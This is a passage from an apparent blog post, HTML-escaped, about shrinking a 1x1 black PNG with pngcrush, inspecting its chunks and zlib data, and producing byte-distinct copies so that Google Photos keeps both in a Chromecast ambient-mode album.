&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;./pngview.py&lt;span class="w"&gt; &lt;/span&gt;pixel.png&lt;span class="w"&gt; &lt;/span&gt;
Size:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;69&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'\x89PNG\r\n\x1a\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;image_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;13&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IHDR'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;bit_depth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;color_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;truecolor&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;compression_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;deflate&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;filter_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;adaptive5&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;interlace_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;none&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2423739358&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;chunks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ListContainer:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IDAT'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'\x08\xd7c```\x00\x00\x00\x04\x00\x01'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;657729290&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IEND'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;None
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2923585666&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;At this point, all that's left to optimize is the image data itself. This is where &lt;code&gt;pngcrush&lt;/code&gt;
shines. After running &lt;code&gt;pngcrush -brute -ow pixel.png&lt;/code&gt; we see:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;./pngview.py&lt;span class="w"&gt; &lt;/span&gt;pixel.png
Size:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;67&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'\x89PNG\r\n\x1a\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;image_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;13&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IHDR'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;bit_depth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;color_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;greyscale&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;compression_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;deflate&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;filter_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;adaptive5&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;interlace_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;none&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;981375829&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;chunks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ListContainer:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IDAT'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'\x08\x1dc`\x00\x00\x00\x02\x00\x01'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3486004709&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IEND'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;None
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2923585666&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The 2 byte savings in the data seem to have come from setting the &lt;code&gt;color_type&lt;/code&gt; to &lt;code&gt;greyscale&lt;/code&gt;
instead of &lt;code&gt;truecolor&lt;/code&gt;. To view what actually changed in the data, we can un-&lt;code&gt;deflate&lt;/code&gt; it using Python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;
&lt;span class="normal"&gt;8&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;zlib&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# before pngcrush (12 bytes)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x08\xd7&lt;/span&gt;&lt;span class="s1"&gt;c```&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00\x04\x00\x01&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00\x00&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# after pngcrush (10 bytes)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x08\x1d&lt;/span&gt;&lt;span class="s1"&gt;c`&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00\x02\x00\x01&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00\x00&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This makes sense since, according to the &lt;a href="https://www.w3.org/TR/PNG/"&gt;PNG spec&lt;/a&gt;, when using &lt;code&gt;truecolor&lt;/code&gt;, each pixel is an RGB
triple, requiring 3 bytes. For &lt;code&gt;greyscale&lt;/code&gt;, only a single byte representing luminance is needed. The
first byte is the filtering method, which isn't relevant here since we only have a single pixel.&lt;/p&gt;
&lt;p&gt;Interestingly enough, in both cases we would actually be much better off if we could opt to &lt;strong&gt;not&lt;/strong&gt; use
compression, but alas, the spec does not allow for anything except &lt;code&gt;deflate&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But I digress, we now have a black 1x1 px PNG image that's just 67 bytes (&lt;a href=""&gt;pixel.png&lt;/a&gt;).&lt;/p&gt;
&lt;h2&gt;Generating multiple unique small images&lt;/h2&gt;
&lt;p&gt;So now we have the small PNG we want to display. Since the Chromecast's ambient mode requires at
least 2 different images in an album to cycle through, all we need to to do is upload 2 copies
of this PNG and we're done right? Almost.&lt;/p&gt;
&lt;p&gt;Since Google Photos will automatically deduplicate uploaded images, we need to find a way to make
the second image slightly different. Normally this would involve tweaking a comment or something,
but in this case, the image has already been stripped down to its bare essentials.&lt;/p&gt;
&lt;p&gt;My strategy was attempt to abuse the data compression to see if I could generate an image that
compressed the same data into the same number of bytes, but differently. Fortunately, &lt;code&gt;pngcrush&lt;/code&gt; can
be told to use specific compression strategies (there are currently 177 of them). My hope is that at
least one of these will achieve the same results, but in a different way. For starters we'll try the
first 9:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;pngcrush&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pixel.png&lt;span class="w"&gt; &lt;/span&gt;pixel_alt&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.png&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A quick &lt;code&gt;ls -l&lt;/code&gt; reveals that all of the &lt;code&gt;pixel_alt*.png&lt;/code&gt; files are still 67 bytes. Now we just need
to find one that has different data. &lt;code&gt;sha1sum&lt;/code&gt; is the perfect utility for this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sha1sum&lt;span class="w"&gt; &lt;/span&gt;pixel.png&lt;span class="w"&gt; &lt;/span&gt;pixel_alt*.png
d99a9d63b1cd9e4b3f823d4d03144ccd95328f48&lt;span class="w"&gt;  &lt;/span&gt;pixel.png
7487dcce2b2bb81a442faf139b0a547bf070d5e2&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt1.png
7487dcce2b2bb81a442faf139b0a547bf070d5e2&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt2.png
7487dcce2b2bb81a442faf139b0a547bf070d5e2&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt3.png
c3ea09bfcfcb36ce22d3f19eacada359f3984ed1&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt4.png
c3ea09bfcfcb36ce22d3f19eacada359f3984ed1&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt5.png
c3ea09bfcfcb36ce22d3f19eacada359f3984ed1&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt6.png
c3ea09bfcfcb36ce22d3f19eacada359f3984ed1&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt7.png
c3ea09bfcfcb36ce22d3f19eacada359f3984ed1&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt8.png
d99a9d63b1cd9e4b3f823d4d03144ccd95328f48&lt;span class="w"&gt;  &lt;/span&gt;pixel_alt9.png
